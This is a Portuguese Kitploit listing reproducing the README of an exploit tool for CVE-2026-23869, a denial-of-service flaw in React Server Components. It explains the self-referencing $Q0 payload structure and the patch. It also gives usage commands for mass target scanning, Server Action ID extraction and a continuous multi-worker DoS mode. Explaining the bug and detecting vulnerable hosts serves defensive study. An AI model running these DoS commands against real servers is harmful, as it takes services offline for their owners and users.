Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-23869-Exploit — Ferramenta automatizada de exploração para CVE-2026-23869, um DoS remoto em React Server Components. Inclui PoC, template Nuclei e scripts de varredura para detecção e exploração. | Kitploit
Ferramentas/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Ferramenta automatizada de exploração para CVE-2026-23869, um DoS remoto em React Server Components. Inclui PoC, template Nuclei e scripts de varredura para detecção e exploração.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
9112há 5 mesesAinda não revisado
Compartilhar

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Negativa de Serviço Remota Não Autenticada via React Flight Protocol
Exaustão Quadrática de CPU na Desserialização de Map em Server Components

Visão Geral • Como Funciona • Ferramentas • Instalação • Uso • Nuclei • Correção • Aviso Legal


Visão Geral da Vulnerabilidade

CampoDetalhe
ID CVECVE-2026-23869
AliasReact2DoS
Pontuação CVSS7.5 (Alta)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Consumo de Recursos Não Controlado)
TipoNegativa de Serviço Remota Não Autenticada
Descoberto PorYohann Sillam (Imperva Threat Research)
Afetadosreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
CorrigidoReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Existe uma vulnerabilidade crítica de Negativa de Serviço na desserialização do Flight protocol dos React Server Components. Um atacante não autenticado pode enviar uma única requisição HTTP maliciosa para qualquer endpoint de Server Action do Next.js App Router, causando exaustão quadrática de CPU O(n²) que trava o servidor por minutos.

Referências

  • Aviso Oficial da Vercel
  • Análise Técnica da Imperva — "React2DoS"
  • PR de Correção do React #36236
  • Entrada no NVD

Como Funciona

O Bug: Flag consumed Ausente na Desserialização de Map

O React Flight protocol usa marcadores especiais para serializar tipos de dados. $Q representa um objeto Map. Quando o servidor recebe um payload contendo marcadores $Q0 auto-referenciados:

Payload: [ [1,1], [1,1], ...(n entradas válidas)..., "$Q0", "$Q0", ...(n referências)... ]

Cada $Q0 aciona um construtor new Map() que itera sobre todas as n entradas válidas. O construtor do Map lança um erro (porque as entradas são malformadas), mas o bug crítico é: a flag consumed nunca é definida em caso de falha.

Isso significa que o próximo $Q0 recalcula exatamente o mesmo Map do zero → criando complexidade O(n²):

n entradas válidas × n referências $Q0 = n² chamadas ao construtor do Map

Exemplo: 65.000 × 65.000 = 4.225.000.000 operações
Resultado: Uma única requisição trava a CPU por 5-10+ minutos

Fluxo do Ataque

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Atacante │ ──────────────────────────────────────▶ │  Servidor Next.js│
│          │     Header: Next-Action: <action_id>   │                  │
│          │     Body: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% TRAVADA    │
└──────────┘                                        │  por ~5-10 min   │
                                                    └──────────────────┘

Código Vulnerável (Antes da Correção)

// ReactFlightReplyServer.js — ANTES do patch
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Falha mas não define consumed = true
                         //   O próximo $Q0 recalcula do zero
}

Código Corrigido (Após a Correção)

// ReactFlightReplyServer.js — APÓS o patch (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Correção: define a flag ANTES da construção
  return new Map(data);  //   Impede o recálculo repetido
}

Ferramentas Incluídas

ArquivoDescrição
poc.pyFerramenta de exploração totalmente automática com pipeline de 4 fases (Recon → Extrair → Detectar → Explorar)
CVE-2026-23869.yamlTemplate de detecção Nuclei com orquestração baseada em fluxo
scan.shScript wrapper: filtragem de alvos vivos com httpx + varredura nuclei
extract-action-ids.shExtrator autônomo de IDs de Server Action

Instalação

# Clonar o repositório
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Instalar dependência Python
pip install requests

# Tornar os scripts executáveis
chmod +x poc.py scan.sh extract-action-ids.sh

Dependências Opcionais

# Para varredura com template Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Para filtragem de alvos vivos
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Uso

🔥 Varredura Automática Completa (Alvo Único)

Basta fornecer a URL — a ferramenta faz tudo automaticamente:

python3 poc.py -u https://target.com

O que acontece:

  1. Fase 1 — Recon: Identifica Next.js (headers, marcadores HTML, build ID)
  2. Fase 2 — Extrair: Encontra IDs de Server Action nos bundles JS
  3. Fase 3 — Detectar: Verificação segura de vulnerabilidade baseada em tempo (sonda de 500 entradas)
  4. Fase 4 — Relatório: Mostra o veredito de vulnerabilidade com análise de tempo

📋 Varredura em Lote (Múltiplos Alvos)

# Escanear uma lista de domínios/IPs
python3 poc.py -L targets.txt

# Com saída de relatório JSON
python3 poc.py -L targets.txt -o results.json

🎯 Modo Manual (ID de Action Conhecido)

# Apenas detecção segura
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Exploração de disparo único
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# DoS contínuo (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Extrair Apenas IDs de Action

python3 poc.py -u https://target.com --extract

⚙️ Todas as Opções

Options:
  -u, --url URL          URL do alvo (alvo único)
  -L, --list FILE        Arquivo com URLs/IPs de alvos (um por linha)
  -a, --action-id ID     ID da Server Action (pular extração automática)
  --detect               Apenas detecção — segura, não destrutiva (padrão)
  --single               Exploração de disparo único após detecção
  --exploit              DoS contínuo após detecção
  --extract              Apenas extrair IDs de action
  -l, --length N         Entradas do payload (padrão: 130000)
  -w, --workers N        Workers concorrentes (padrão: 5)
  -d, --delay SEC        Atraso entre requisições (padrão: 1.0)
  -o, --output FILE      Salvar relatório JSON
  -t, --threads N        Alvos concorrentes para varredura de lista (padrão: 3)

Compatibilidade Retroativa

A sintaxe original do PoC ainda funciona:

python3 poc.py <ACTION_ID> <URL>

Template Nuclei

Varredura Rápida

# Alvo único
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Múltiplos alvos
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
Baixar ferramenta